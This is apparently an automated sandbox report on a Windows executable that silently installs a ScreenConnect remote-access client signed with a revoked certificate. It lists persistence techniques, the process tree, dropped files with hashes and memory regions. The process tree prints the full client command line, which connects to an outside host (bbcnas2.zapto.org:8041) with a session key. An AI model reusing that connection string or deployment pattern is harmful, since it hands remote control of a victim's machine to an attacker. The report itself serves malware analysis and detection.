Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    19/07/2026, 23:46

General

  • Target
    b95f594a74bc165d43b272512ad01abf01f9e3be43af99333acb971888f56edf.exe
  • Size 5.4MB
  • Sample260719-3selyabv91
  • SHA256 b95f594a74bc165d43b272512ad01abf01f9e3be43af99333acb971888f56edf
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 5 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 17 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\b95f594a74bc165d43b272512ad01abf01f9e3be43af99333acb971888f56edf.exe
    "C:\Users\Admin\AppData\Local\Temp\b95f594a74bc165d43b272512ad01abf01f9e3be43af99333acb971888f56edf.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1416
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\24.4.4.9118\3be09d9e5e840c20\ScreenConnect.ClientSetup.msi"
      2⤵
      • Enumerates connected drives
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      PID:2228
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4256
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 76E5E1BD1B42CB682C80D4580ACEAEB4 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1964
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI60C4.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240738640 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:2548
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:5912
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 2866FDC485899E0D9C406461C7E1D681
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:1244
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 8F8C7DCF28059903F21DEF43B1CCF678 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:2820
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:244
    • C:\Program Files (x86)\ScreenConnect Client (3be09d9e5e840c20)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (3be09d9e5e840c20)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=bbcnas2.zapto.org&p=8041&s=2d25104a-3164-4d8d-aaf6-f4c3816d6561&k=BgIAAACkAABSU0ExAAgAAAEAAQBdpn0O4B1VqMLUD0QDsNyYTlq4tRTm9ACUnnSMesFZALDh%2bLgBUwyTJ9D684SXejMRZmxv0Ws0vI2HDF%2f3pgx%2bIGwSyAZ%2fcl0w71rKbKyIIKYDZKbnkGgXvWGAi3ZyQp5OOPPQACb3KOn3dbHGC7zVR4YxQG18q4ph%2fyqoczab4g1p0ctN9m9IinVuQ4spX2nQNInOfCqxjvWdinItao7pk9fPOEV6qP3zSVfOwlnLHbRaASXeN%2fudvdB8e5o68h%2bjKG6VwXtszNJDCo7VtQqZmoYLmAVq9dmcJjckjVt0p%2bJPysj6usBrEV3AzT%2ff7W%2bYHYQ0svZBekSGOWFY8kLf&c=test&c=&c=&c=&c=&c=&c=&c="
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:616
      • C:\Program Files (x86)\ScreenConnect Client (3be09d9e5e840c20)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (3be09d9e5e840c20)\ScreenConnect.WindowsClient.exe" "RunRole" "cab96696-3110-4506-80b1-cfb7dcc3447e" "User"
        2⤵
        • Executes dropped EXE
        PID:2860

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e59b156.rbs

          • Path C:\Config.Msi\e59b156.rbs
          • Size 214KB
          • SHA256 a764e37a498421ddd4efcd7ac7d3330b417794a1be4e34cfbf1c8bab75d7c9a3
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (3be09d9e5e840c20)\Client.Override.en-US.resources
          • Size 227B
          • SHA256 38bdcc2ec25e7464dde7293b5a6ec64eea4b9d9f6fb8c36fdcc5677a6f55b721
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (3be09d9e5e840c20)\Client.Override.resources
          • Size 32KB
          • SHA256 632fff03862ed945d5697279fa1e466025aa63d14b435cc50f44de316aa3250b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (3be09d9e5e840c20)\Client.en-US.resources
          • Size 48KB
          • SHA256 07d04e6d5376ffc8d81afe8132e0aa6529cccc5ee789bea53d56c1a2da062be4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (3be09d9e5e840c20)\Client.resources
          • Size 26KB
          • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (3be09d9e5e840c20)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 8872211a8f4ff520d9d3342ed3841eb6fe42f6d83a0f639f6baf84795da99de2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (3be09d9e5e840c20)\ScreenConnect.ClientService.dll
          • Size 67KB
          • SHA256 42e0add27d20e2393f9793197798ac7d374812a6dcd290b153f879a201e546af
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (3be09d9e5e840c20)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 ea1cfad9596a150beb04e81f84fa68f1af8905847503773570c901167be8bf39
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (3be09d9e5e840c20)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (3be09d9e5e840c20)\ScreenConnect.WindowsClient.exe
          • Size 588KB
          • SHA256 08efe3e41bd508e2e9c3f8cf4d466cb1c96c35c1b463e79f2a24ac031ab79b48
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (3be09d9e5e840c20)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (3be09d9e5e840c20)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 832KB
          • SHA256 86432f33567ef172674fd7a828afa6a62e9d90efc8dba6199d803b0888d35e1b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (3be09d9e5e840c20)\app.config
          • Size 1KB
          • SHA256 805e6e9447a4838d874d84e6b2cdff93723641b06726d8ee58d51e8b651cd226
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (3be09d9e5e840c20)\system.config
          • Size 943B
          • SHA256 b1637291c94844f98adf29f49137e56e6e94384d776effc4baec4148999104e8
          • MD5 SHA1 SHA512 TLSH

          MSI60C4.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSI60C4.tmp
          • Size 1.0MB
          • SHA256 db51e4b70f27d0bf28789ea3345bf693035916461d22661c26f149c5bc8891ed
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI60C4.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI60C4.tmp-\ScreenConnect.Core.dll
          • Size 537KB
          • SHA256 8377a87625c04ca5d511ceec91b8c029f9901079abf62cf29cf1134c99fa2662
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI60C4.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 d09447d4816e248c16891361d87019156cc7664b213357a8e6c422484b8d6b4e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI60C4.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 2659f660691d65628d2fcc3bfc334686cd053f162cdb73bf7a0da0ac6449db92
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientSetup.msi

          • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect\24.4.4.9118\3be09d9e5e840c20\ScreenConnect.ClientSetup.msi
          • Size 12.8MB
          • SHA256 564acb8e62d7ca9d440895bf347d8312fbfabb3d36eeacf247e115e766f499bd
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSIB8C8.tmp

          • Path C:\Windows\Installer\MSIB8C8.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 26.1MB
          • SHA256 372dc6aaf798c0b5e27a06a203cbef4b57ef17f50d568ccb5feb721967a98492
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {28df0f48-16ed-42b3-9c0f-f4a33623896a}_OnDiskSnapshotProp

          • Path \??\Volume{c61fa831-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{28df0f48-16ed-42b3-9c0f-f4a33623896a}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 70effe6ee8ebfcea4c8dd181beaff6065e6ef02e6e956095c284664a2fedbe98
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/616-117-0x0000000004D20000-0x0000000004D61000-memory.dmp

          memory/616-100-0x0000000004AC0000-0x0000000004B10000-memory.dmp

          memory/616-115-0x0000000004DC0000-0x0000000004E52000-memory.dmp

          memory/616-88-0x00000000021E0000-0x00000000021F8000-memory.dmp

          memory/616-106-0x0000000004B10000-0x0000000004B46000-memory.dmp

          memory/616-119-0x0000000004FB0000-0x0000000005085000-memory.dmp

          memory/1416-8-0x00000000065F0000-0x0000000006BAA000-memory.dmp

          memory/1416-4-0x0000000074AD0000-0x000000007528C000-memory.dmp

          memory/1416-13-0x0000000074AD0000-0x000000007528C000-memory.dmp

          memory/1416-9-0x0000000074AD0000-0x000000007528C000-memory.dmp

          memory/1416-0-0x0000000074AE2000-0x0000000074AE3000-memory.dmp

          memory/1416-1-0x0000000001910000-0x0000000001918000-memory.dmp

          memory/1416-10-0x0000000074AD0000-0x000000007528C000-memory.dmp

          memory/1416-2-0x0000000005D40000-0x0000000006030000-memory.dmp

          memory/1416-3-0x0000000005870000-0x00000000058FC000-memory.dmp

          memory/1416-7-0x0000000074AD0000-0x000000007528C000-memory.dmp

          memory/1416-5-0x0000000003200000-0x0000000003222000-memory.dmp

          memory/1416-6-0x0000000005A40000-0x0000000005BEC000-memory.dmp

          memory/2548-44-0x00000000056D0000-0x000000000587C000-memory.dmp

          memory/2548-36-0x00000000033D0000-0x00000000033DA000-memory.dmp

          memory/2548-40-0x0000000005490000-0x000000000551C000-memory.dmp

          memory/2548-32-0x0000000003390000-0x00000000033BE000-memory.dmp

          memory/2860-130-0x0000000002EE0000-0x0000000002F16000-memory.dmp

          memory/2860-131-0x000000001BCD0000-0x000000001BD5C000-memory.dmp

          memory/2860-132-0x000000001BF10000-0x000000001C0BC000-memory.dmp

          memory/2860-129-0x0000000000C90000-0x0000000000D26000-memory.dmp

          memory/2860-133-0x000000001C0C0000-0x000000001C248000-memory.dmp

          memory/2860-134-0x00000000015A0000-0x00000000015B8000-memory.dmp

          memory/2860-135-0x0000000002E90000-0x0000000002EA8000-memory.dmp

          memory/4256-136-0x0000017CF2590000-0x0000017CF2F34000-memory.dmp